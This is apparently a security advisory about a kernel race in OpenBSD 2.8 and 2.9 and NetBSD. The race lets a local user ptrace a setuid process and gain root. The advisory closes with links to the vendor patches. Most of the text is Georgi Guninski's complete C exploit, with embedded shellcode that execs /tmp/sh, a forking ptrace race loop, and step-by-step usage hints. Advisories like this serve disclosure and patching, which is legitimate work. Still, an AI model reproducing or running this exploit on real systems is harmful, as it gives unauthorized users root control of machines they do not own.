|
Vulnerability kernel Affected OpenBSD 2.9,2.8, NetBSD Description Following is based on a Georgi Guninski security advisory #47. There is local root compromise in OpenBSD 2.9, 2.8 due to a race probably in the kernel. This is quite similar to the linux kernel race several months ago. By forking a few process it is possible to attach to +s pid with ptrace. The process seems to be in a strange state when it is attached. Contrary to the man info PT_DETACH allows specifying an address to which execution is continued. Exploit: /* Written by Georgi Guninski http://www.guninski.com Tested on OpenBSD 2.9 and 2.8 Works best after reboot - the +s program must not be executed before, seems executes /tmp/sh /tmp/su must be a link to +s program if the +s program has been executed, create and run shell script the size of RAM You may need to type "fg" if the program receives stop signal you may need to run the program several times */ #include <stdio.h> #include <fcntl.h> #include <sys/types.h> #include <signal.h> #include <sys/ptrace.h> #include <sys/wait.h> #include <limits.h> #include <errno.h> #include <stdlib.h> #include <machine/reg.h> int me=0; void endit(int x) { if(!me) { printf("exiting\n"); exit(0); } } extern char **environ; int main(int ac, char **av) { volatile struct reg pt; //exec "/tmp/sh" char bsdshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53" "\xb0\x3b\x50\xcd\x80\x90\x90\x90"; int j,status,sig; volatile int done=0; volatile static int done2=0; int pid,pid2,i; int num; // number of processes to fork. 20 works for me on Pentium500 int target; char *env1; // address of $joro where execution of shell code begins.may need to be changed unsigned int breakat=0xdfbfddaf; num=20; pid=getpid(); if(!getenv("joro")) { setenv("joro",bsdshell,1); if (execle(av[0],"a",NULL,environ)) perror("exec"); } else breakat=(int)getenv("joro"); printf("Written by Georgi Guninski\nShall jump to %x\n",breakat); target=pid; printf("Started pid1=%d target=%d\n",pid,target); for(i=0;i<num;i++) { if (!done) if(! (pid2 = fork())) { signal(SIGURG,&endit); pid2=getpid(); while(!done) { if (!ptrace(PT_ATTACH, target,NULL,NULL)) { done=1; printf("\nAttached!\n"); wait(&status); sig=WSTOPSIG(status); printf("sig=%d %s\n",status,sys_siglist[sig]); ptrace(PT_GETREGS,target,(caddr_t)&pt,NULL); printf("eip=%x esp=%x\n",pt.r_eip,pt.r_esp); me=1; done2 +=1; ptrace(PT_DETACH, target,(caddr_t)breakat,NULL); //sleep(2); kill(0,SIGURG); sleep(4); while(42) kill(target,SIGCONT); } } } } // "/tmp/su" must be symbolic link to +s program . // the program must not be executed before. execle("/tmp/su","/usr/bin/su",NULL,environ); } In testing the recent obsd exploit by Georgi Guninski out, James Babiak has found out that my OpenBSD 2.8 box was not vulnerable. He has come to the conclusion that those boxes with the stephanie kernel patches by Mike Schiffman and doe are not vulnerable to this exploit, at least without modifying the exploit itself. The stephanie patches do not have hard link restrictions. However, on tested box /tmp is its own partition (duh), therefore not allowing You to do a cross-device link. Solution It been fixed the patch is available: ftp://ftp.openbsd.org/pub/OpenBSD/patches/2.8/common/030_kernexc.patch ftp://ftp.openbsd.org/pub/OpenBSD/patches/2.9/common/007_kernexec.patch The fix has also been committed to the 2.8 and 2.9 stable branches. NetBSD now (as of the 15th) has a fix for this problem in-tree (a pullup for the impending 1.5.1 release is in the queue).